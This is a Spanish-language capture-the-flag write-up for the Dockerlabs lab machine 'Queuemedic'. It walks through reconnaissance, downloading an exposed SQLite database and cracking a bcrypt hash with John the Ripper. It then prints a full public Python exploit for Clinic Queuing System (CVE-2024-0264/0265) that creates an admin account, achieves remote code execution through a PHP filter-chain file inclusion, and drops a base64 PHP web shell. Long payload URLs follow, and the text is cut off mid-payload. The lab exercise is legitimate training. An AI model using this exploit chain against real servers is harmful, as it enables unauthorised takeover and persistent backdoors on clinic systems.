NovaHacking
  • Whoami
  • Artículos
    • Panamá Papers
    • Tratamiento para la TTY
    • Introducción a la Ciberseguridad
    • Introducción al Buffer Overflow
    • Introducción al Pivoting
    • IDS - IPS (Suricata)
    • Colisión de Hash
    • RSA Cracker
  • Herramientas
    • Explotación
      • Hydra
      • pwncat-cs
    • Reconocimiento
      • Nmap
      • Arp scan
  • CTF
    • Dockerlabs
      • Amor
      • BreakMySSH
      • DockHackLab
      • FirstHacking
      • sjd
      • WhereIsMyWebShell
      • Dark
      • Queuemedic
      • Buffered
      • Pn
      • Canario
      • Domain
      • HereBash
  • Linux
    • 🐧Inicio Linux
Powered by GitBook
On this page
  1. CTF
  2. Dockerlabs

Queuemedic

TAG -> Dockerlabs | CTF

PreviousDarkNextBuffered

Last updated 2 months ago

Datos
  • Máquina -> Queuemedic

  • Dificultad -> Difícil

  • Creador ->

Después de desplegar el Laboratorio, podemos verificar rápidamente conectividad con el contenedor de la siguiente manera:

ping -c 1 172.17.0.2 -R

Resultado

PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.073 ms
RR: 	172.17.0.1
        172.17.0.2
        172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.073/0.073/0.073/0.000 ms

Como podemos ver, ningún paquete se perdió, ademas de que mediante el TTL que es 64 podemos intuir que es un sistema Linux, ahora creamos las carpetas de trabajo con el comando mkt, luego entramos a recognition/nmap y empezamos con el siguiente escaneo:

nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN targeted.txt 172.17.0.2

Resultado (Contenido de targeted.txt)

Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 18:27:30 2025 -- 1 IP address (1 host up) scanned in 7.82 seconds

El resultado de nmap nos muestra información interesante sobre la pagina web que corre en el puerto 80, vemos que hay un Login en la pagina de inicio manejado por el archivo login.php, vemos falta de cabeceras de seguridad y la versión de Apache 2.4.52, ahora podemos ir a ver la pagina web.

Si queremos más información sobre la pagina web podemos usar Whatweb.

whatweb 172.17.0.2

Resultado

http://172.17.0.2 [302 Found] Apache[2.4.52], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], RedirectLocation[./login.php]
http://172.17.0.2/login.php [200 OK] Apache[2.4.52], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], JQuery[3.6.0], PHP, PasswordField[password], Script, Title[LOGIN | Clinic Queuing System], X-UA-Compatible[IE=edge]

Donde podemos ver la redirección que se hace si no estamos Logeados.

Pagina web

Podemos apreciar una pagina de Login, también tenemos un apartado al lado izquierdo del botón de Login el cual lleva a patient_side.php, en este punto antes que nada vamos a hacer Fuzzing con FeroxBuster.

Empezamos con el siguiente escaneo.

feroxbuster --url http://172.17.0.2/ -w /WordLists/directory-list-2.3-medium.txt -t 200

Resultado

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2/
 🚀  Threads               │ 200
 📖  Wordlist              │ /WordLists/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://172.17.0.2/ => ./login.php
301      GET        9l       28w      306c http://172.17.0.2/css => http://172.17.0.2/css/
200      GET        1l     6804w   105151c http://172.17.0.2/css/bootstrap-reboot.rtl.css.map
200      GET        1l    11998w   192214c http://172.17.0.2/css/bootstrap-utilities.rtl.css.map
200      GET        7l     1994w   162720c http://172.17.0.2/css/bootstrap.min.css
200      GET      427l      680w     5850c http://172.17.0.2/css/bootstrap-reboot.css
200      GET        8l       65w     4646c http://172.17.0.2/css/bootstrap-reboot.min.css
200      GET      424l      675w     5827c http://172.17.0.2/css/bootstrap-reboot.rtl.css
200      GET     4857l     7719w    71451c http://172.17.0.2/css/bootstrap-utilities.rtl.css
200      GET        7l       91w    53479c http://172.17.0.2/css/bootstrap-utilities.min.css
301      GET        9l       28w      305c http://172.17.0.2/db => http://172.17.0.2/db/
301      GET        9l       28w      305c http://172.17.0.2/js => http://172.17.0.2/js/
200      GET        7l     1019w    78468c http://172.17.0.2/js/bootstrap.bundle.min.js
200      GET        2l     1294w    89501c http://172.17.0.2/js/jquery-3.6.0.min.js
200      GET        7l      758w    72016c http://172.17.0.2/js/bootstrap.esm.min.js
200      GET       33l       72w      937c http://172.17.0.2/js/script.js
200      GET        1l    36083w   536547c http://172.17.0.2/css/bootstrap.css.map
200      GET       21l      115w    16406c http://172.17.0.2/db/clinic_queuing_db.db
200      GET        1l     3670w    41570c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css.map
200      GET     6780l    18269w   208492c http://172.17.0.2/js/bootstrap.bundle.js
301      GET        9l       28w      309c http://172.17.0.2/backup => http://172.17.0.2/backup/
200      GET        1l    19057w   425643c http://172.17.0.2/js/bootstrap.bundle.js.map
200      GET        1l    11809w   288320c http://172.17.0.2/js/bootstrap.esm.js.map
200      GET        1l    11874w   217145c http://172.17.0.2/js/bootstrap.min.js.map
200      GET     5026l    12057w   148168c http://172.17.0.2/js/bootstrap.js
200      GET        1l    11810w   222508c http://172.17.0.2/js/bootstrap.esm.min.js.map
200      GET        7l      316w    51319c http://172.17.0.2/css/bootstrap-grid.min.css
200      GET        7l      316w    51394c http://172.17.0.2/css/bootstrap-grid.rtl.min.css
200      GET        1l     9263w   117439c http://172.17.0.2/css/bootstrap-grid.min.css.map
200      GET     4996l     7929w    70612c http://172.17.0.2/css/bootstrap-grid.rtl.css
200      GET     4997l     7929w    70538c http://172.17.0.2/css/bootstrap-grid.css
200      GET        1l     9263w   117516c http://172.17.0.2/css/bootstrap-grid.rtl.min.css.map
200      GET     4866l     7734w    71584c http://172.17.0.2/css/bootstrap-utilities.css
200      GET        1l     3196w    35330c http://172.17.0.2/css/bootstrap-reboot.min.css.map
200      GET    11197l    21124w   203803c http://172.17.0.2/css/bootstrap.rtl.css
200      GET        1l     6804w   105138c http://172.17.0.2/css/bootstrap-reboot.css.map
200      GET        1l     8418w   111875c http://172.17.0.2/css/bootstrap-utilities.min.css.map
200      GET        1l    12876w   196535c http://172.17.0.2/css/bootstrap-grid.css.map
200      GET        1l    11998w   192271c http://172.17.0.2/css/bootstrap-utilities.css.map
200      GET        1l     8407w   111710c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css.map
200      GET        8l       65w     4718c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css
200      GET      110l      220w     2307c http://172.17.0.2/css/custom.css
200      GET        1l    19058w   327261c http://172.17.0.2/js/bootstrap.bundle.min.js.map
200      GET        6l      275w    18873c http://172.17.0.2/js/popper.min.js
200      GET        1l    12876w   196539c http://172.17.0.2/css/bootstrap-grid.rtl.css.map
200      GET     5164l    33046w  2601804c http://172.17.0.2/backup/backup.zip
200      GET        7l      756w    59511c http://172.17.0.2/js/bootstrap.min.js
200      GET     4977l    11935w   139019c http://172.17.0.2/js/bootstrap.esm.js
200      GET        1l    11873w   289522c http://172.17.0.2/js/bootstrap.js.map
200      GET        1l    50920w   661035c http://172.17.0.2/css/bootstrap.rtl.min.css.map
200      GET        7l       91w    53407c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css
200      GET    11221l    21180w   204136c http://172.17.0.2/css/bootstrap.css
200      GET        1l    32718w   449111c http://172.17.0.2/css/bootstrap.min.css.map
200      GET        1l    36083w   536461c http://172.17.0.2/css/bootstrap.rtl.css.map
200      GET        7l     1994w   162825c http://172.17.0.2/css/bootstrap.rtl.min.css
[####################] - 20s   220599/220599  0s      found:55      errors:1      
[####################] - 20s   220545/220545  10939/s http://172.17.0.2/ 
[####################] - 4s    220545/220545  52990/s http://172.17.0.2/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s    220545/220545  1282238/s http://172.17.0.2/db/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 3s    220545/220545  79533/s http://172.17.0.2/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 2s    220545/220545  96815/s http://172.17.0.2/backup/ => Directory listing (add --scan-dir-listings to scan)

También se investigo el nombre Clinic Queuing System en searchsploit el cual nos arrojo un RCE, que no funciono.

Regresando al Fuzzing, vemos bastantes enlaces, pero nos llama la atención 2 lineas en particular:

200      GET       21l      115w    16406c http://172.17.0.2/db/clinic_queuing_db.db
01      GET        9l       28w      309c http://172.17.0.2/backup => http://172.17.0.2/backup/

El enlace http://172.17.0.2/db/clinic_queuing_db.db nos descarga un archivo, probablemente alguna información sobre una base de datos, el contenido de dicho archivo (binario) es el siguiente:

cat clinic_queuing_db.db

Resultado

SQLite format 3@  .WJ
�V
  ��Q%%�etablepatient_listpatient_listCREATE TABLE `patient_list` (
            `patient_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `queue_no` TEXT NOT NULL,
            `fullname` INTEGER NOT NULL,
            `address` TEXT NOT NULL,
            `contact` TEXT NOT NULL,
            `age` INTEGER NOT NULL,
            `weight` FLOAT NOT NULL Default 0,
            `bp_rate` TEXT NULL,
            `status` TINYINT(2) NOT NULL Default 0,
            `notify` TINYINT(2) NOT NULL Default 1,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�'�tableuser_listuser_listCREATE TABLE `user_list` (
            `user_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `fullname` INTEGER NOT NULL,
            `username` TEXT NOT NULL,
            `password` TEXT NOT NULL,
            `type` TINYINT(1) NOT NULL Default 0,
            `status` TINYINT(1) NOT NULL Default 0,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
%�%m	)		3Jessica Castrojessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK2024-09-20 14:15:46j	'�		3Administratoradmin$2y

También podemos leerlo con sqlite3 de la siguiente manera:

sqlite3 clinic_queuing_db.db

Resultado

Podemos ver información sensible dentro de este archivo, por ejemplo: hay un usuario llamado jessica ademas de un hash que posiblemente sean credenciales de algún lado, como el panel de Login que vimos anteriormente, intentemos descifrar ese hash:

  • Lo primero que aremos es meter la parte del hash importante en un archivo con nombre hash.txt.

echo '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK' > hash.txt
  • Luego usaremos Hashid para determinar que tipo de cifrado es.

hashid '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK'

Resultado

Analyzing '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt
  • La herramienta dice que lo más probable es que sea Blowfish o bcrypt así que usaremos John the Ripper para hacer fuerza bruta al hash.txt

john --format=bcrypt --wordlist=/WordLists/rockyou.txt hash.txt 

Resultado

[Karonte:615668] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.Karonte.0/jf.0/154009600/shared_mem_cuda_pool.Karonte could be created.
[Karonte:615668] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
j.castro         (?)
1g 0:00:00:01 DONE (2025-03-23 22:49) 0.6993g/s 75.52p/s 75.52c/s 75.52C/s shadow..thomas
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Como podemos ver en los resultados la contraseña es j.castro con usuario jessica, con estas credenciales podemos entrar a Clinic Queuing System.

username-anarchy -i UserList.txt > wordlist.txt

Resultado

Como vemos, username-anarchy pudo crear una combinación correcta según el nombre y el apellido del usuario en este caso UserList.txt contiene Jessica Castro.

Viendo un poco la pagina no veo nada extraño, si recordamos anteriormente haciendo Fuzzing encontramos la base de datos y un archivo zip, el cual dice ser un backup, lo descargamos y vemos que contiene la estructura interna del servidor, contiene cada archivo que compone la pagina web de Clinic Queuing System.

Anteriormente utilizando searchsploit encontramos que la pagina, era vulnerable al CVE-2024-0264, esta vulnerabilidad radicaba en que la pagina web no realizaba una debida validación del token en ./LoginRegistration.php pero en el backup vemos que esta vulnerabilidad fue parcheada ya que agregaron la siguiente linea:

if(!isset($formToken) || (isset($formToken) && $formToken != $allowedToken) || (isset($formToken) && $formToken==='')){

Solucionando el problema de validación, searchsploit en el mismo exploit nos mostraba la vulnerabilidad CVE-2024-0265, esta vulnerabilidad radica en el siguiente pedazo de código:

<?php include($page.".php");  ?>

Linea 82 dentro de index.php

La linea 82 representa una vulnerabilidad de inclusión de archivos locales (LFI, Local File Inclusion) porque permite a un atacante manipular el valor de $_GET['page'] para incluir archivos arbitrarios en el servidor.

El valor de $page proviene de un parámetro GET, esto significa que un atacante puede modificar la URL para controlar el contenido de $page, como resultado la pagina web intentará incluir cualquier archivo cuyo nombre coincida con la entrada proporcionada en $_GET['page'].

Por ejemplo:

http://ejemplo.com/index.php?page=patients

Cargará patients.php. Sin embargo, un atacante podría intentar algo más peligroso:

http://ejemplo.com/index.php?page=../../etc/passwd

Esto resultaría en:

include("../../etc/passwd.php");

Si allow_url_include está habilitado y la extensión .php no está estrictamente aplicada, un atacante podría leer archivos arbitrarios, ahora bien el exploit que nos da searchsploit es el siguiente:

# Exploit Title: Clinic Queuing System 1.0 RCE
# Date: 2024/1/7
# Exploit Author: Juan Marco Sanchez
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html
# Version: 1.0
# Tested on: Debian Linux Apache Web Server
# CVE: CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): # CVE-2024-0264
	rand_user = 'pwn_'+str(random.randint(100, 313))
	rand_pass = 'pwn_'+str(random.randint(100, 313))
	pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
	print("[*] adding administrator " + rand_user + ":" + rand_pass)
	phase1 = requests.post(phase1_url, pwn_user_data)
	if "User Account has been added successfully." in phase1.text:
		print("[+] Phase 1 Success - Admin user added!\n")
		print("[*] Initiating Phase 2")
		phase2(rand_user, rand_pass)
	else:
		print("[X] user creation failed :(")
		die()

def phase2(user, password): # CVE-2024-0265
	s = requests.Session();
	login_data = {'formToken':'','username':user, 'password':password}
	print("[*] Loggin in....")
	phase2 = s.post(phase2_url, login_data)

	if "Login successfully." in phase2.text:
		print("[+] Login success")
	else:
		print("[X] Login failed.")
		die()

	print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
	rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
	#print("[*] Payload: " + rce_url)
	rce = s.get(rce_url)

	if "jmrcsnchz" in rce.text:
		print("[+] RCE success!")
		soup = BeautifulSoup(rce.text, 'html.parser')
		print("[+] Output of id: " + soup.pre.get_text())
		print("[*] Uploading php backdoor....")
		s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
		print("[+] Access at " + base_url + "/rce.php?0=whoami")
	else:
		print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
		die()

try:
	print("[*] Initiating Phase 1")
	phase1()
except:
	print("Exploit failed.")

Si lo analizamos podemos ver que un requisito es tener un usuario y una contraseña, lo cual ya tenemos, lógicamente tenemos que hacer uso del token para hacer las peticiones, las lineas clave son:

rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"

Esta linea comprueba la ejecución del código y esta otra linea:

s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")

Sube un archivo rce.php en la ruta actual del sitio web, así que probaremos esto, enviaremos la siguiente petición GET:

http://172.17.0.2/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';

Resultado

Y efectivamente podemos ejecutar comandos en el servidor, ahora subamos el rce.php.

http://172.17.0.2/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|con